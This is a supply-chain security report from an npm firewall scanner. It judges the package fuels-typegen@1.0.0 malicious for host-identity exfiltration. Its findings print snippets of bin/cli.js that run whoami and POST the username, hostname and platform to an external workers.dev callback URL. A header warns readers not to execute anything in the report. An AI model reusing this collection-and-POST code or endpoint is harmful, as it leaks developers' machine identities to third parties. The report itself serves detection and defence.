--- canonical: "https://firewall.lpm.dev/npm/fuels-typegen" markdown: "https://firewall.lpm.dev/npm/fuels-typegen/report.md" package: "fuels-typegen" report_status: "published" title: "fuels-typegen@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # fuels-typegen@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Local username, hostname, platform, and package identity are disclosed to a third-party endpoint. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 1.0.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package contains concrete, unconsented host-identity exfiltration to an unrelated endpoint when its entrypoint runs. This is malicious behavior despite the absence of lifecycle hooks. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-08-31T06:25:34.618Z - **Finished:** 2026-08-31T06:26:06.840Z - **Download time:** 517 ms - **Static scan time:** 13 ms - **AI review time:** 31691 ms - **Total time:** 32222 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Running the package executable silently reports local host identity information to an external callback. It invokes a system command to obtain the account name. - **Trigger:** A user runs the hyperliquid-composer command or imports the main entrypoint. - **Impact:** Local username, hostname, platform, and package identity are disclosed to a third-party endpoint. - **Evidence paths:** bin/cli.js, package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-31T06:26:06.840Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Host identity collection followed by an outbound POST request. - **Attack narrative:** The main executable runs immediately, obtains the current account name using whoami or the operating-system API, and collects hostname and platform. It POSTs these identifiers to an external Workers callback, suppressing errors so the reporting is unobtrusive. The package is named fuels-typegen but exposes a hyperliquid-composer command, which is inconsistent with a legitimate type-generation tool. - **Rationale:** The package contains concrete, unconsented host-identity exfiltration to an unrelated endpoint when its entrypoint runs. This is malicious behavior despite the absence of lifecycle hooks. - **Files touched:** bin/cli.js, package.json - **Network endpoints:** https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The executable collects the local account name, hostname, and operating system., It sends that host-identifying data to an unrelated external callback endpoint., The advertised package name differs from its installed command name, supporting deceptive intent. - **Evidence against:** There are no install lifecycle hooks., The source does not show file harvesting, credential collection, or destructive writes. ## Affected versions and remediation This report applies to fuels-typegen@1.0.0. - Avoid installing fuels-typegen@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. High: Host Fingerprint Exfiltration - **Category:** Source - **Confidence:** 86.0% - **Path:** bin/cli.js - **Public source:** [View source]() Source collects local host identity data and sends it to an external endpoint. Public source snippet (untrusted): ```javascript L2: L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({ ``` ### 4. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 5. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 6. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** package.json - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```json stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1 ``` ### 7. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** bin/cli.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 8. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** bin/cli.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/cli.js - **Public source:** [View source]() The executable collects the local account name, hostname, and operating system. Public source snippet (untrusted): ```javascript function whoami() { try { return execFileSync("whoami", { encoding: "utf8" }).trim(); } catch { try { return os.userInfo().username; } catch { return "unknown"; } } } ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/cli.js - **Public source:** [View source]() It sends that host-identifying data to an unrelated external callback endpoint. Public source snippet (untrusted): ```javascript const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/cli.js - **Public source:** [View source]() It sends that host-identifying data to an unrelated external callback endpoint. Public source snippet (untrusted): ```javascript await fetch(url.toString(), { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": `npx/${name}`, "X-Package-Name": name, }, body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }), ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The advertised package name differs from its installed command name, supporting deceptive intent. Public source snippet (untrusted): ```json "name": "fuels-typegen", "version": "1.0.0", "description": "Minimal npx package that POSTs package name and whoami to an OOB callback", "bin": { "hyperliquid-composer": "bin/cli.js" }, "main": "bin/cli.js", ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** fuels-typegen - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-30T07:55:04.309Z - **Package first seen:** 2026-08-31T06:26:06.840Z - **Package last seen:** 2026-09-03T15:36:53.474Z - **Known versions:** 2 - **Latest version:** 0.0.1-security - **Appeal under review:** No - **Description:** Minimal npx package that POSTs package name and whoami to an OOB callback - **Runtime engines:** node: \>=18 - **Artifact files:** 2 - **Artifact unpacked size:** 1,414 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [ADVISORY]()